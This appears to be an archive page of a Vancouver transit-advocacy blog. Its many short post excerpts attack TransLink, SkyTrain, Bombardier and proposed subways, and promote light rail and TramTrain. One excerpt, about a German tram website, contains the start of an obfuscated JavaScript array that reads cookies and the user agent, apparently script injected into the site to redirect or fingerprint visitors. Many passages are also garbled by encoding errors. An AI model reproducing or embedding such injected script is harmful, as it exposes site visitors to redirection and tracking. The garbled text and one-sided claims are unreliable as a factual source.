TransLink has just sent out 400,000 invitations for people to do a trip diary, with all sort of silly incentives to get people on board.
What will happen is this:
1) People...

One has to laugh at the armchair experts, who think it's so simple to offer a 24 hour servcie on the SkyTrain light metro system. The ignorance about the SkyTrain light-metro system operation is endemic.
SkyTrain does not magically move people f...

After years of indifference by the Island Corridor Foundation, a new provincial government seems to have brought some life to the Island Corridor Foundation.
Now the ICF is a political creature, which was believed by many, to oversee the demise of the ...

The European light rail Renaissance in Toronto seems to be successful.
Active traffic calming will both improve transit service, while at the same time pull more people to transit, a lesson that TansLink and Vancouver traffic engineers refuses to lear...

No real surprise here.
What is very odious is that the Mayor of Toronto wants a subway, purely for political purposes and the taxpayer be damned!
The same is true about the proposed Broadway SkyTrain subway, where the traffic flows just do not warrant ...

Surrey's Hawthorne Park debacle clearly illustrates that something is wrong with our regional transit planning.
Modern light rail transit, is a proven mode of public transportation that has an envious record in attracting the motorist from the car; a ...

Interesting numbers from Melbourne Australia, where the subsidy for a tram, per customer, is $7.18 less than for a bus, per customer!
Something to think about, isn't it.
Costs per passenger in Melbourne Tram vs Bus
30-Oct-2017Ai?? Ai?? Mal Rowe
I cam...

What is missing from this LRT/BRT study is very important, the cost of operating the BRT or LRT line.
In Mexico, South America and the Middle East, wages paid to drivers, mechanics, managers and maintenance workers are much, much less than North Americ...

As charges are laid in the casino money laundering fiasco where it is alleged, dirty money from abroad was laundered at BC Casino's then invested in Vancouver's hot housing market.
The question must be asked:
Is laundered illegal drug money driving th...

Why is it, when someone is elected to office, they become instant transit experts?
Why is it, when it comes to transit, common sense is tossed from the window?
It seems Liberal MLA, Jane Thornthwaite, wants a SkyTrain subway to the North Shore.
First q...

TransLink's American CEO, Kevin Desmond, was always TransLink's man. A consummate bureaucrat, he knows what buttons to push and what whistles to blow, but when it comes to transit, Desmond does what he is told to do.
TransLink has never acknowledged th...

Vancouver wants subways and nothing else. Vancouver wants the region to pay for those subways.
Vancouver's pet SkyTrain subway, just to Arbutus Street, may cost upwards of $4 billion.
Vancouver's pet SkyTrain subway will use the now obsolete ALRT...

This should not be news but it is, congestion has returned to the Port Mann Bridge
With tolls, traffic and gridlock was just moved to the Patullo and Alex Fraser Bridges and the Massey Tunnel, but with the tolls eliminated, traffic pasterns are getting...

It is not an either/or situation. As built, the Canada line has small stations with 40 metre long station platforms, while the ALRT/ART Expo and Millennium/Evergreen lines have 80 metre long station platforms.
The Transport Canada operating certificate...

Most people championing expensive transit, fail to see three minutes into the future.
The failure of a switch motor on the Expo Line last week caused transit chaos. Switch motors fail and on automatic railways, the regimen is to replace motors on a pre...

The aging SkyTrain system is having many troubles today.
One of the big problems with expensive light-metro lines is the lack of redundancy in the system.
With the huge costs to build just one line, only one line is built, unlike mature light rail syst...

As reported earlier, it has been announced that Siemens and Alstom will merge their rail units.
Time will tell how this will effect Bombardier Inc., but one thing is for certain, the merger will streamline their product line and with no sales in the pa...

This could be game changer for Bombardier's rail division and a big game changer for transit planning in Metro Vancouver.
If the Siemens and Alstom merger goes through, it could mean those expensive ART, monorail, and other proprietary transit modes cu...

NO, we are not talking 'pole dancing' but another kind of 'pole' dance happening in Toronto.
The use of panto-graphs or "pans" for the collection of electrical power has been around a long time and now it is Toronto's turn to switch from the old trolle...

The Massey Tunnel Bridge replacement project is again in the news, as the massively expensive replacement bridge for the Massey tunnel has been mothballed.
Now, the CBC has found hugely expensive financial irregularities with the new Port Mann Bridge, ...

Most of us have forgotten that Richmond once supported an interurban service from Steveston to Vancouver and New Westminster and now the city of Richmond is investigating a heritage line to operate the interurban.
Rail for the Valley wishes everyone go...

ALRT/ART is what we call a proprietary railway and because Bombardier Inc. hold the technical patents for ART, they are the sole supplier of ART cars, as they can always undercut the competition, who must design a Linear Induction Motor powered car fro...

Ah yes, our honest and hard working and sole supplier of ART cars (SkyTrain) and ALRT/ART parts, Bombardier is back in the news.
One wonders why Metro Vancouver and TransLink keeps planning building with the obsolete proprietary ART mini-metro system, ...

Zwei knows that there are huge issues with TransLink's mega-projects, but does this ponderous bureaucracy have a clue what it is doing?
I don't think so.
Past comments from Mr. "haveacow" from Ottawa has the cost of the Broadway SkyTrain subway passing...

Seems some serious corrosion problems are plaguing the TTC's ICTS cars, which are the same as our SkyTrain Mk.1's and I hope TransLink will take some time and investigate!
The Mk.1's do have a history of corrosion, so I would think it would be expedien...

The Vancouver Sun, as always, has embarrassedAi?? itself with another transit "Puff Piece".
Nathan Pachall is not a transit expert, rather a politician and a seemingly TransLink apologist.
Zwei would never dare to do a report card on transit because th...

On Wednesday last (Aug. 9) the misses and I went to Harrison Hot Springs for some well deserved R & R. The trip to Harrison only confirmed the need for a Vancouver to Chilliwack rail service, to give aAi?? transportation option for those li...

The following article demonstrates our current problem in metro Vancouver, a complete and utter lack of understanding public transit and the role of public transit.
Again, for public transit to be successful, it must be user friendly, if not, people wi...

With the decision pending to abandon the proposed mega bridge replacing the Massey Tunnel, this article should give some food for thought.
As always, providing more road space, attracts more cars, creating even greater gridlock at the next choke point....

The Stadler product is gaining traction in North America and now has a manufacturing plant in North America.
Unlike Bombardier, which relies on the government to secure train orders for them in North America, Stadler had to fight hard to sell its produ...

As LRT planning spreads across Canada, transportation planners are beginning to understand the flexibility of the mode.
Commuter rail, using unwieldy commuter passenger cars are yesterdays transit solution, while TramTrain is a 21st century transit sol...

Another news story which tends to confirm Zweis observation that; "despite a now over $11 billion investment in rapid transit, congestion is getting worse."
The article doesn't touch on the real problem, which is the user-unfriendly SkyTrain light-metr...

Delta Mayor Lois Jackson is a strong supporter of former BC Liberal Premier Christi Clark and sees the proposed ten lane bridge to replace the Massey Tunnel as her personal legacy project when she retires from politics next year.
Hijacking the Leewood...

What this story does not mention is that Portland has an extensive LRT/streetcar network, a transit network designed to meet the needs of the transit customer.
Unlike Metro Vancouver where transit is built to meet the needs of land developers and land ...

It is to be expected, TransLink wants more of your money so out rolls the propaganda machine claimingAi?? increased ridership, Howrah!
Translation; "We want to bamboozle the NDP to give us more money for our two vanity projects, the Broadway su...

Dear Premier Horgan,
Congratulations on your recent electoral success and now fresh winds will sweeps across British Columbia.
My name is Malcolm Johnston and I have been an advocate for better public transit in the Me...

A comment about land development along the proposed $3 billion Broadway Subway?
No, it is a comment about over densification from high rise flats in Melbourne, Australia.
So how is Melbourne going to cope, transit wise? Build a subway?
No subway for Me...

From Bob Mackin and the Breaker.
Zwei has studied "Road Pricing" and "Congestion Charging" for over 20 years and the very first rule for a successful road pricing scheme is that the region have a user friendly and affordable public transit alternative....

Et tu Brute is a Latin phrase meaning "and you, Brutus?", "even you, Brutus?" or "you too, Brutus?", purportedly the last words of the Roman dictator Julius Caesar to his friend Marcus Brutus at the moment of his assassination. The quotation is...

The concept of freight trams has been around for a while, in fact the concept is quite old.
The success of Dresden's freight tram was based on moving car components, via container, from one factory to another across the city. In St. Etienne, it's the c...

Zwei knew this was a scam from the start.
Well,Ai?? China's miracle "straddling bus "; the bus that was going to solve urban transit woes with its revolutionary concept, has been deemed a scam!
Absolutely no surprise here.
What was sad to see and hear,...

As SkyTrain ages, its equipment deteriorates and today, a fire has happened and apparently not caused by a pyrotechnic birds nest.
As mentioned many times by Rail for the Valley, about $3 billion needs to be invested in the ART/ALRT SkyTrain lines to b...

As hydrogen fuel cell technology improves, the application for 'rail' transit is close to become a reality.
The main problem for hydrogen fuel cell transit is that the cell tends to produce power at a steady rate, but poor in providing power at times o...

It seems Montreal taxpayers are being taken for a $9 billion Bombardier ride, with the proposed 67 km Montreal light metro project.
The proposed Montreal LRT is not LRT at all, rather it is a light-metro, using the Bombardier Innovia body shell, using ...

[caption id="attachment_16396" align="aligncenter" width="648" caption="TransLink has never estimated the costs associated with maintaining a subway."][/caption]
I wanted to post this item, not to show problems with London's proposed BRT, rather that c...

The major rule about "Road Pricing" or congestion charges and that is, one must have an affordable and user friendly transit system in place before road pricing will be accepted by the populace, if not, it is not going to happen.
The Metro Vancouver re...

Gregory (Scotland YardAi??detective): ai???Is there any other point to which you would wish to draw my attention?ai???
Holmes: ai???To the curious incident of the dog in the night-time.ai???
Gregory: ai???The dog did nothing in the night-time.ai???
Hol...

The provincial government is in turmoil and those who "Pay to Play" on the municipal scene are getting anxious, as billions in potential profits are being put on hold for the moment.
The Metro Vancouver's metro Mayors Ten Year Plan is nothing more than...

The Canada Line was down for three hours on Friday, but if one was looking for evidence of it, well TransLink is doing its best to cleanse the internet from reporting the problem.
Trying to avoid the fiasco of last winter, where TransLink abandoned cus...

Recent problems with Bombardier's delivery of new trams for Toronto has made Canadian customers look elsewhere.
For two long, Ottawa has twisted arms of Canadian transit operators to buy the Canadian Bombardier product, to keep production going, propp...

So, it took the compass Card to make transit more user friendly - NOT!
Is not TransLink's main function to make transit user friendly, so more people perceive it is a good product, use itAi?? and hope, vote accordingly if there is another plebiscite?
T...

Metro madness gone wild in China.
Looking like a set from a Sci-fi series, building a subway, for the sake of being a subway, has major financial consequences.
Let us not make the same mistake in Vancouver, where transit traffic flows along Broadway ar...

Subways sound great - at first, but when the realities of subway operation, including extremely high costs and user unfriendliness, the love affair with subways tend to wane with customers.
The huge cost of subway construction, means economies must be ...

$8 billion is a lot of 'spreadin around' money and $8 billion for one bridge seems a tad pricey.
This bridge is not about traffic congestion or better transportation, this bridge is a gift to the Vancouver Port Authority so massive Panama Max. and Cape...

[caption id="attachment_16257" align="aligncenter" width="700" caption="Tavistock Railway Station will be seeing passengers again in 2022!"][/caption]
The UK is reopening once abandoned rail lines to cope with congestion and increased population.
...

Well it tool seven long years for this as it is the first time any of the mainstream political parties have even acknowledged the need for a passenger/commuter rail service for the Fraser Valley.
The main contender?
Rail for the Valley's Leewood Study ...

Weaver hasn't a clue about transit and throwing more money after bad will not improve it.
The "road pricing" issue is nothing more than a wet squib; for road pricing to be publicly accepted and successful one must have a viable and user-friendly transi...

As the Scarborough ICTS cars and Vancouver's MK.1 cars are the same, one would surmise there are corrosion problems with Vancouver's cars, especially in Vancouver with airborne salt from the sea.
Does the public have the confidence in TransLink to keep...

No surprise here!
After the "locust years" of the 70's and 80's, German tramways have reinvented themselves and very successfully too. German tramways have set the standard for modern efficient and cost effective operation.
The key for this success?
Ge...

The question Edmonton transit planners are being asked; "Does transit need to be user friendly or auto friendly ?" In Edmonton to be auto friendly means adding at least $220 million to the cost of the project.
What this article illustrates is the cost ...

TramTrain operation is expanding at a good pace in Europe, where the economy and customer friendliness of the mode is now established.
Is it not time our politicians, planners and especially BC Transit and TransLink have a look at the mode?
I find it d...

Subway here, a subway there, a subway everywhere.
The notion that a subway is best way to solve congestion, emanates from the USA where it is considered the biggest is the best. The more expensive a transit project is, the better it is.
This is simply ...

I just shake my head at this.
At first, I thought it was an April fools joke, but no, it's not, rather it is a reporting farce.
A chap who is a mining shill, with no expertise in public transport is calling for a subway to be built to UBC.
All he is tr...

New highways always bring the so called experts into the fray. The problem is; we don't have any, rather the region has a hodge podge of academics, planners and engineers calling themselves experts and the result is what is happening now.
The real prob...

The appalling reporting on transit by the local media continues, all what is reported is sparkle ponies and fairy dust.
Here are the financial problems that TransLink faces:
Estimated cost of the Broadway subway - $3 billion+
Estimated cost to refurbi...

Dresden's famous freight tram is back in service.
One of the most under rated tram success stories is the Dresden freight tram, which conveyed car parts between two factories, using the cities tram network.
It is easy to see why freight trams have not ...

The real problem with the proposed Surrey LRT is that light rail is not rapid transit, it can be designed as such, but when it is it loses its affordability and operational edge over proprietary gadgetbahnen, like ART SkyTrain light-metro.
The LRT in S...

Interesting article on Toronto's transit scene which mirrors Vancouver's.
In Vancouver, decades of bad planning, based on up-zoning properties adjacent to SkyTrain Lines to obtain higher densities, which benefits the "condo kings" and land speculators ...

This article is a must read for those in Vancouver who want to debate the proposed Broadway SkyTrain subway.
Three items that need attention:
As Toronto does not operate with LRT, their capacity numbers for LRT are inaccurate. Since the 1980's the cap...

In political jargon a useful idiot is a person perceived as propagandist for a cause whose goals they are not fully aware of, and who is used cynically by the leaders of the cause.
Former premier Mike Harcourt continues to regale anyone who will listen...

Gondolas are a niche transit system used for solving unique transit problems. While transit servicing SFU mayAi?? present niche transit problems, especially in winter, crossing Burrard inlet does not.
The SFU gondola has been reported in this blog seve...

The BC Liberal election BS machine is now in full swing.
The Liberals announced a "commuter rail working group" to confirm the viability of commuter rail for the Capitol Region. This begs the question: "Who has the capability and knowledge to come to a...

This is a rather strange story.
A dog is scared by fireworks and ends up on the SkyTrain's tracks, how, TransLink isn't saying.
I would wager Transport Canada would like to know.
SkyTrain is a driverless light-metro and when it operates at-grade it mus...

I see politicians are floating trialAi?? balloons about transit, before the upcoming election and from the North Shore it is extending rapid transit to North Vancouver and beyond.
The cost to extend the Canada Line or the ALRT/ART Lines (both lines are...

In the real world, modern trams or LRT lines are not considered unless traffic flows are 2,000 pphpd or more.
Light-metro's like SkyTrain, on the other hand, need traffic flows of at least 10,000 pphpd, to justify construction.
Now, TransLink is trying...

While Surrey's proposed LRT is topping $100 million/km to build, in Europe new LRT lines are being built much cheaper. In Weisbaden, their new LRT is pegged at $24.5 million/km to build!
Analysis: Fire the Surrey LRT planning team and hire people that ...

There seems to be a general naivete about Light Rail or LRT in the media, due in part to TransLink's war on LRT, with their well advertised preference for light-metro.
Today, except for "niche transit" solutions, public transport is divided into three ...

Most railway enthusiasts in the UK treat Beeching as a leper. In fact, Beeching predicted the end of local railways altogether, leaving the UK with just three or four trunk lines, connecting major cities by the 21st century.
This is not to argue that r...

Bombardier is late delivering new trams to Toronto, so Toronto's Metrolinx threatened to cancel the contract.
The Federal Liberals just gave Bombardier Inc. a $372.5 million loan, so what does Bombardier do?
That's right, sue Metrolinx because Bombardi...

Let us hearken back to the days of yesteryear and remember Zwei's take on the AG's audit of the Evergreen Line was.
SkyTrain cheaper than LRT, not a chance unless it was deliberately designed to be so!
As one overseas expert succinctly put it; ""Even ...

Twice in three days, the Canada Line has called it quits during Monday's evenings rush hour. Snow, again is the culprit, but really, that excuse is wearing thin.
By world standards, it isn't a lot of snow that has fallen (1 cm per hour) and with trains...

I wonder if the same thing could happen in Metro Vancouver as well?
The AG's office did a review of the Evergreen Line and it was fraught with misinformation and professional misconduct, sadly I doubt they could do an honest review of any transit proje...

Quote: "........scrapping bike lanes to make way for diverted car traffic defeats the purpose of LRT"
Exactly! To reduce congestion, one must reduce road space, but provide an attractive and affordable transit alternative.
LRT has proven to be that att...

TransLink once had user friendly transit programs such as a "family free ride", but friends of the government who act for lobbyists offering fare-gates and expensive fare card take priority.
In fact most transit authorities around the world have some s...

As Zwei has said before TransLink and its SkyTrain mini-metro system is extremely user unfriendly.
The current fare regimen is fraught with complications and contradictions, people make mistakes, yet TransLink seems unable or unwilling to fix it.
IT IS...

TramTrain, one of the fasted growing transit sectors in the world and why not; extending public transit cheaply by using existing infrastructure is a win, win situation.
The cost ofAi?? of a 25.3 km of route including 3.3 km of new single track line is...

Unlike the mainstream media, the Georgia Straight always has better reporting on the local transit scene.
This is nothing more than a staged media event featuring two growingly unpopular Mayors, Hepner and Roberts and the ever unpopular TransLink.
With...

Let's see now......election in May; a provincial Premier who doesn't give a damn about regional transit; political donors getting restless for payback; yes the BC Liberal BS machine is in full swing.
A $100 million/km LRT that goes nowhere and a $3.2 b...

Something to think about.
Question: Can we use wind generated power to sell the Leewood RftV TramTrain scheme?
Today all Dutch trains are powered 100% by wind energy
In the Netherlands all NS's 1.200.000 train trips per day are now without a...

As Vancouver's metro mayor's dig themselves further into a financial morass, with the proposed now $3.2 billion Broadway subway to Arbutus and the now over $100/km Surrey LRT, which will demand more and more punitive regional taxation, why instead don'...

As predicted in 1980!
There are affordable solutions, but they would embarrass the MoT, the City of Vancouver and academics, especially at SFU.
An ever growing population, means more traffic and until the government ensures an attractive and affo...

E&N resurrection?
I hope so and a developer, no less, is spearheading the drive to move to "rail" transit.
RftV wishes Mr. Mariash well.
If Fraser Valley developers were of the same mind as well?
CTV Vancouver Island
Published Thursday, December 8...

TransLink's fare-gates and Compass Card system was forced upon TransLink, not to reduce fare evasion, which was well within industry norms, but to ensure then Premier Campbell's good friend, Ken Dobell, work as aAi?? lobbyist for Cubit Industries who m...

TransLink continues it ongoing program to bamboozle the public and politicians with their patented ridership bumf.
Boarding's are up 4%, really?
Maybe, but boarding's do not equate into actual higher actual ridership numbers, especially with th...

What the FRA does, Transport Canada will soon follow.
This news is of great importance to Metro and Victoria's metro regions, bringing in a transit option that Rail for the Valley has been championing for many years.
Proven European technology combined...

Interesting!
I wonder what TransLink would have done?
If TransLink doesn't have a computer hack plan, they better get one soon as it seems electronic fare cards are vulnerable.
San Francisco made its public transit free for a day after it was hacked
...

Transit improvements coming soon? Don't hold your breathe because TransLink's planning is extremely suspect.
Certainly new buses will arrive for new routes and new drivers, mechanics and the rest of the employees needed to operate the new buses will be...

Well, it had to happen, the fools council has approved 'phase one' of Translink's ten year plan.
I doubt that any of the mayors in this old boys/girls club know very much about transit, but they certainly know what gets them votes and transit is a moth...

No surprise here, as Zwei has been sounding alarm bells over this upcoming fiasco for years
Now TransLink has an American out of Seattle as the new CEO and this means the sky is the limit for spending on rail transit.
Seattle's LRT is LRT in name only...

Toronto is cancelling its contract with Bombardier, which would have provided light rail vehicles for Toronto's planned LRT network and the TTC is also looking at dumping Bombardier as the supplier for their tram replacement program due to non delivery...

It did not take long for the Liberal fixers in Ottawa to hatch a scheme to keep their political friends awash in taxpayer`s dollars.
Public transit schemes are generally not money makers, in fact the vast majority of public transit operations around th...

For Halloween
London's Necropolis Railway
Devoted to carrying corpses, the London Necropolis Railway was the spookiest, strangest train line in British history ai??i?? but also possibly the most useful.
By Amanda Ruggeri
18 October 2016
For 87...

So, what do the three new board members know about transit?
Zilch, nada, nothing.
But, I bet they all know how to cash a stipend.
Thus the farce we call TransLink, continues.
This is pork barrel politics at its very worst!
Three new mem...

Really. No, really, can't TransLink come up with a better excuse than a "high tech glitch" for the recent embarrassing problems with the brand new MK.3 cars?
Evidently not.
Mk.3 cars high tech? No.
What the Mk.3 car is a new universal body shell to fit...

The subway lobby seem hard at it in Toronto and have been caught out by an independent public watchdog, set up to protect the taxpayer.
Metro Vancouver and its member municipalities has no such watchdog to watch for bureaucratic or political malfeasanc...

For a transit system that it's supporters claims to be almost problem free, the proprietary ART/ALRT mini-metro has stopped working several times in the past week, mostly during the rush hour.
There is a new word in TransLink's lexicon and it is "timed...

One politicians "infrastructure" is another one's waste.
It's not transit or transportation projects we build, rather it is infrastructure.
The SkyTrain Broadway subway is deemedAi?? by Vancouver politicians to be a good investment of the taxpayer's mo...

The following is from the Urbansit from Seattle and is quite interesting.
First of all, for those who care to know, Seattle's LRT is indeed a light-metro, which ultimate capacity is over 32,000 pphpd (today, itai??i??s 16,000"on the existing line befor...

An interesting read for those who want free transit, but remember, free transit comes at a price.
The Tallinn experiment: what happens when a city makes public transport free?
Since Estoniaai??i??s capital started providing free public tra...

Everyone wants tunnels and subways. Victorian railway companies in the UK, bankrupted themselves with needless and over engineered tunnels because they were in vogue.
Calgary's LRT was designed more as a light metro than light rail, but that still did ...

Unfortunately financial reality is now setting in in Toronto and building subways are a very expensive proposition..
The cost to replace the aging Scarborough ICTS mini-metro with a one stop, 6 km. subway (about the same length as a Broadway subway to ...

This article should give a good indication of the cost of modern light rail being built today.
The proposed Utsunomiya LRT, is of course narrow gaugeAi?? and will have somewhat narrower trams, with a reduced capacity than LRT built inAi?? Canada, but ...

It now seems Ontario's big subway plans are costing more, a lot more to build than what was first proposed as exampled by the Toronto York Spadina Subway Extension, whose cost soared over from $1.5 billion to $3.2 billion!
TransLink is blithely planni...

Nothing new here.
The truth is very simple, subways are very expensive to build, as TransLink found out with the Canada Line.
We have to remember that the cost of the Canada Line soared past the first estimated cost of $1.3 billion, to around $2.7 bill...

John Horgan and the NDP just do not get it and they never will and by only consulting with the party faithful, all they have is a self-serving transit and transportation policy that is both unaffordable but unworkable.
TransLink does not have an incom...

In light of today's news that the Pattullo Bridge not only will collapse in a seismic event, it may topple in a wind storm.
Pattullo Bridge vulnerable during seismic or ai???high-windai??i?? events: Report
Zwei believes the old child's song should be u...

Our friend Haveacow is working on the Ottawa LRT and has reported that the Belfast Maintenance and Storage Facility Yard is now officially energized. Here are a few more pictures of the East Segments that will soon be powered up.
The OCS (Overhead Co...

The aging SkyTrain seems to be having a rough time lately, but it is to be expected as most proprietary transit systems age badly.
TransLink has a new word for its lexicon, "temporary" and lest us hope that the delays are not permanent.
The problem wit...

Bigger and wider bridges and adding new lanes to existing highways will not reduce congestion, but do the opposite, increase it! Yet this is the BC's governments big transportation plan.
TransLink continues to plan for a "Toonerville Trolley" for Surre...

Metro Mayors, with visions of federal cash dancingAi?? in their heads approved a draft transit plan part of their so called ten year plan.
Like all other transit ten year or twenty year plans that have come and gone, this one was drafted, probably on o...

The problem with TransLink is that you can never believe what it says; TransLink never produces a report based on the same set of assumptions."
Former West Vancouver Clr. Victor Durman, Chair of the GVRD (now METRO) Finance Committee.
Old habits die ...

Oops! Rush hour, the time that transit must work, but with SkyTrain it doesn't matter as it craps out now all to regularly.
Again, aging complicated automatic transit systems grow more unreliable, making transit less dependable, which in turn makes the...

No surprises here, where over 130,000 deep discounted U-Pass 'cheap fare cards' (unlimited travel for a $1 a day) issued to post secondary students comes into play.
As rental costs soar past the unaffordable, post secondary students must either commute...

This comment from Mr. Cow deserves a post of its own as there is so much information here, it deserves a wider audience.
As Mr. Cow is a Canadian Transit Engineer, his comments are well worth reading.
When SkyTrain 'crapped-out' in the Summer of 2014
t...

An interesting read.
Why would Quebec's Caisse de dAi??pA?t et placement du QuAi??bec, invest in the obsolete SkyTrain?
Could the real reason be to help Bombardier out of its aerospace financial embarrassment, by buying ART?
At the current rate, the p...

Gridlock is endemic in metro Vancouver.
TransLink has become the "clown of transit planning" and now with with two very expensive vanity projects, the truncated Broadway SkyTrain subway and the Surrey LRT, which is being planned as a "poor man's" SkyTr...

As Fraser Valley mayors twiddle their thumbs and do nothing but invent excuse after excuse for not wanting a passenger rail service in the Fraser Valley, new TramTrain operations continue to expand elsewhere.
Our regional mayors are lost in a time caps...

Zwei has stated over and over again, one modern tram and tram driver is as efficient as six to eight buses and six to eight bus drivers and for every tram or bus operated one needs a minimum of four people to drive, maintain and manage them. As wages ...

Not surprised at all about this as a similar issue arose in children sports.
Last year my child's sports team saw a dramatic drop in players, from what was about 50 to less than 15. The team manager, upon inquiries, soon found the answer.
Because of th...

Interesting news from France.
The cost to reopen this 25 km line, which was derelict for thirty-six years, was ai??i??102 million or CAD $146.5 million or put another way the cost to do the same with the former Vancouver to Chilliwack interurban line, ...

Bakken oil and thermal coal unit trains from the American mid west
are the big driver for the Massey Tunnel replacement.
As expected.
The real reason for the bridge is, of course nothing to do with the safety issues with the tunnel, rather Fraser Surr...

Almost same thing happened to my wife who forgot her Compass Card at work only it cost her a big fine.
Hell of a way to keep your customer base. User friendly, TransLink is most definitely not.
The student had a valid U-Pass, TransLink get over it; the...

While Vancouver mayor Pines for a SkyTrain subway under Broadway and Trudeau the Younger smiles at the cameras with promises of transit manna from heaven, no one is addressing the real subway issue: costs!
It is now estimated that the Millennium Line s...

The Honolulu light-metro is $1.4 billion over budget.
Toronto's Scarborough subway is already $900 million over budget.
Then it should not come as a surprise that the Evergreen Line is over budget.
The question is, by how much?
Evergreen Line dela...

Ah, such a photo-op for our new PM; oh, such an announcement, but really, this just a rehash of old news releases tarted up for a photo-op so PM Trudeau can claim that BC has not been left out of the Liberals game plan of shoveling money off a back of ...

Our not so friendly SkyTrain Lobby would have us believe that light-metro is being built in quantity in China.
Not so fast, as China's huge city populations would demand large metro operations, not capacity constipated light-metro like our SkyTrain.
At...

Photo-op's are a politician's best friend, so now we have all three levels of government glad handing for the camera's on the transit issue.
The key sentence is; ".......that would allow the three levels of government to at least get started on parts o...

So, where is the massive fare evasion that warranted over $200 million spent on the Compass Card and Fare Gates for the SkyTrain light-metro system?
No massive amounts of fare evasion you say?
Maybe it was all those U-Pass holding students that confuse...

Memo to TransLink, the city of Vancouver, the Mayor's Council, and Mr. Factbender, subways need a large mass of ridership to justify construction.
Quote: "This is way less than the 15,000 riders used as the benchmark for justifying subway service, and ...

For a $5 billion, 12 km subway to UBC, under Broadway....
.....one could build a tram network in Vancouver and North Vancouver!
Zwei been advocating for trams on Broadway since the 80's, well more and more people are now seeing that instead of a $5 bil...

Bob Rennie is a developer.
He makes his money by assembling properties, having the municipal council up-zone the assembled properties to allow higher densities to build his condo's.
Bob Rennie is not a transit expert.
Bob Rennie loves expensive rapid t...

Vancouver's unique rapid transit/density debate is now fully exposed as a con game and nothing more.
TOD or transit oriented development has been the philosophers stone for so many academics, transit, and planning pundits that they remain oblivious to ...

Nothing new here.
TransLink was conceivedAi?? by the NDP to get then GVRD Chair, George Puil on board to support the now renamed (ALRT to ART) Millennium Line. No one in the NDP at the time had any thought of making TransLink independent as control of ...

Sorry David, you are wrong.
TransLink does not have a income problem, it has a spendingAi?? problem as it spends about three times more to build with the now obsolete light-metro instead of light rail. Our proprietary light-metro system also costs abou...

"You are going to get SkyTrain whether you like it or not", has been the popular refrain
from notable BC politicians including Bill Bennett, Bill Van der Zalm, Grace McCarthy, Glen Clark, Joy McPhail,
Gordon Campbell, Kevin Falcon and now, Factbender...

TransLink is going to review fares. Great, I thought, they are listening to the public, who hold the ossified bureaucracy in high odor, but it was too good to be true as the minister in charge of Transit, Mr. Factbender is rehashing an old idea, creat...

How about roses blooming along the Arbutus corridor complete with trams?
Roses are in full bloom along the only streetcar line in TOKYO, Japan's capital city, according to "the-japan-news dot com" site:Ai??
<http://tinyurl.com/jp72uc4>
Roses in...

Updated May 22, 2016 - Added CAD currency conversions.
Bombardier and SNC Lavalin spent years grooming Honolulu City politicians to build with light-metro.
For their efforts, Bombardier and SNC got pipped at the post by Ansaldo with their proprietary l...

The modern tram brings fast, reliable and user-friendly public transport to
densely populated European Cities, like Amsterdam. The ability of the transit customer
of having his/hers transit on the pavement and easily accessible, makes
modern light-rail...

Charlie Smith of the Georgia Straight is the one reporter who has studied the transit issue and knows the issues.
Despite the hype and hoopla, especially from provincial politicians (both Liberal, Socred & NDP) the SkyTrain Lobby, the many issues ...

New Transit projects in the UK go through a rather onerous process before approval and the Leeds trolleybus projects did not stand up to scrutiny.
It would be fair to say that not one of the SkyTrain or mini-metro projects could have stood up against a...

Old Zwei has touched this subject many times; Subways age badly and they cost a lot to keep in good condition.
Renewal costs are not generally factored in with budget calculations and tend to be a nasty surprise for politicians who were not around when...

In one of the greatest non stories from the pages of the Vancouver Sun, the announcement that the Evergreen ART cars will be operated on the ALRT/ART system as they arrive.
Why wouldn't they?
Let us not forget the Evergreen Line is the unfinished porti...

Though the Bombardier and SNC owned ART (SkyTrain, they hold the patents) proprietary railway is not mentioned, I would bet the farm that Bombardier and SNC are behind this to build an ART automatic railway.
Bombardier's home province is Quebec, yet Qu...

Hats off to Bob Mackin, for his continued journalistic investigation of TransLink and SkyTrain.
The cost overruns on the Evergreen Line were expected as TransLink's Business Case for ART for the Evergreen Line was as phony asAi?? the proverbial $3.00 b...

Not well reported in the mainstream media is the fact that the $200 million Compass Card/Fare gate systemAi?? is now next to useless because not so honest people can hack through the system.
The Compass Card is old tech, sold to TransLink after an orch...

No surprise here, as Ontario holds the key for the Liberals reelection in three years hence and the Libs need some transit projects to cut ribbons in front of.
BC, as always will get crumbs, but we well deserve it as regional politicians still want hug...

Our American friends down south are beginning to understand the Light Rail Renaissance in Europe.
For too long, the 'old ways' of commuter trains and subways were considered the only ways to provide quality transit and except forAi?? a few bold cities...

If there is to be a new passenger service on the former BCR route
VIA Rail would be the operator.
The return of the North Vancouver to Prince George passenger rail service is a good idea, both for travelers and for tourists. Leaving from downtown Vanco...

When it comes to subways, unless there is no other alternative, Zwei firmly believes they are a vanity project, which only drives up the cost of transit.
The same thing happened in Victorian England, where several railways bankrupted themselves by bui...

Here is an interesting web site on German tram infrastructure.
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x6...

From the Chilliwack Times.
Dream of light rail from Chilliwack to Surrey isn't dead
The idea of creating light rail on the old interurban line from Chilliwack to Surrey may have faded in recent years, but proponents still want to see it happe...

Modern lawned tramway in France, will be also be used in Liege.
What I wish to illustrate that the 11 km, 21 stop Liege tramway, including 19 Citadis trams, will cost about CAD$51 million/km to build.
As well, P-3's are not a transit funding panacea.
T...

Aging metro systems are a big problem in North America and the more complicated the transit system, the more costly it is to maintain.
Unlike TransLink, BART's (Bay Area Rapid Transit) bureaucrats are far more forthcoming with system ills and for th...

Interesting tidbit from the news which has been overshadowed by the tragedy in Brussels.
Traffic congestion is down in Metro Vancouver and this begs the question:
"If there is less traffic on the roads, then should we not waste money to plan and build ...

Bombardier Inc. is in trouble with their aircraft program; are near bankruptcy and need cash.
So what is the Federal government going to do?
Simple buy Bombardier's light-metro and call it light rail.Ai?? The same ruse certainly fooled the Social Credi...

BKV, the transit operator in Budapest Hungary has just taken delivery of the 9th of a 12 unit order from SpanishAi??LRV producer CAF (Construcciones y Auxiliar de Ferrocarriles) for the world record setting 56 metre long, 9 section, Ai??Urbos 3 (Type ...

Not all is well with Bombardier Inc.
The massive transit conglomerate has had too easy for too long and now is accused ofAi?? "'duping' the British capital into awarding it a train-signalling contract that it was incapable of delivering, creating ai??...

With thanks to Mr.Cow!
Signalling, the fine art of keeping trains from crashing into each other, is very important for the Fraser Valley TramTrain project and developments in Ontario are very relevant here.
Toronto, is now planning to have GO Train's ...

